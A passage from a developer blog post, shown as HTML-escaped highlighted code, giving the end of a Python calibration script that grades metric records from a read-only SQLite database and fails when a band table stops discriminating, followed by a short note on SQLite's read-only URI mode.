&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    header &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;metric&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&amp;#x3C;12&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}{&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;A&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&gt;4&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}{&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;B&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&gt;4&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}{&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;C&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&gt;4&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}{&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;D&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&gt;4&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}{&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;F&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&gt;4&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}{&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;n&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&gt;6&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  verdict&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    out &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;Calibration - &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(cards)&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; graded records&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, header, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;-&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(header)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    failed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; False&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; name &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; GOVERNING_CONSTANTS:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        counts &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tally[name]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        status, reason &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; verdict(counts, max_fail_share&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;max_fail_share,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;                                 max_empty&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;max_empty)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        failed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; failed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; status &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;FAIL&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        cells &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.join(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;counts[x]&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&gt;4&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; x &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; LETTERS)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        out.append(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&amp;#x3C;12&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;cells&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}{sum&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(counts.values())&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&gt;6&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  {&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; - &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;reason&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; status &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;FAIL&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            out.append(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&amp;#x3C;12&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;governed by: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;, &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.join(GOVERNING_CONSTANTS[name])&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    # Informational, never gated: `overall` is derived from the rows above, so&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    # failing it too would report one defect twice.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    overall &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Counter(c[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;overall&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; c &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cards)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    capped &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; sum&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; c &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cards &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; c[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;capped_by&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    out &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;overall (informational, not gated)&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;            &quot;  letters: &quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;  &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.join(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;overall.get(x, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; x &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; LETTERS),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;            f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;  F-cap fired on &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;capped&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(cards)&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;capped &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(cards)&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:.0%&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.join(out), failed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; main&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(argv&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;None):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    ap &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; argparse.ArgumentParser()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    ap.add_argument(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;--db&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, default&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;data/history.db&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    ap.add_argument(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;--max-fail-share&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, type&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;float&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, default&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;DEFAULT_MAX_FAIL_SHARE)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    ap.add_argument(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;--max-empty&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, type&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, default&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;DEFAULT_MAX_EMPTY)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    args &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ap.parse_args(argv)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    # sqlite3.connect() is lazy: a file that is not a database opens fine and&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    # only raises on the first read, so the guard has to cover the query too.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    try&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        conn &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; open_readonly(args.db)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        try&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            cards &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; grade_window(conn)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        finally&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            conn.close()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    except&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; sqlite3.Error &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; exc:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;ERROR - could not read &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;args.db&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;exc&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cards:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;SKIPPED - no records in &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;args.db&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    text, failed &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; report(collect(cards), cards,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;                          max_fail_share&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;args.max_fail_share,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;                          max_empty&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;args.max_empty)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(text)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; failed:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;FAIL - a band table has stopped discriminating. Recalibrate the&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;              &quot; named constants against this distribution before shipping.&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;OK - every graded metric still uses its bands.&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; __name__ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;__main__&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    raise&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; SystemExit&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(main())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The read-only connection is worth a sentence. SQLite’s &lt;a href=&quot;https://www.sqlite.org/uri.html&quot;&gt;URI filename&lt;/a&gt; &lt;code&gt;mode&lt;/code&gt; parameter opens the database read-only, so a stray write is refused by the engine rather than avoided by the script remembering to only &lt;code&gt;SELECT&lt;/code&gt;. This thing points at production data; make that structural.&lt;/p&gt;
&lt;h2&gt;Run it, then prove it bites&lt;/h2&gt;
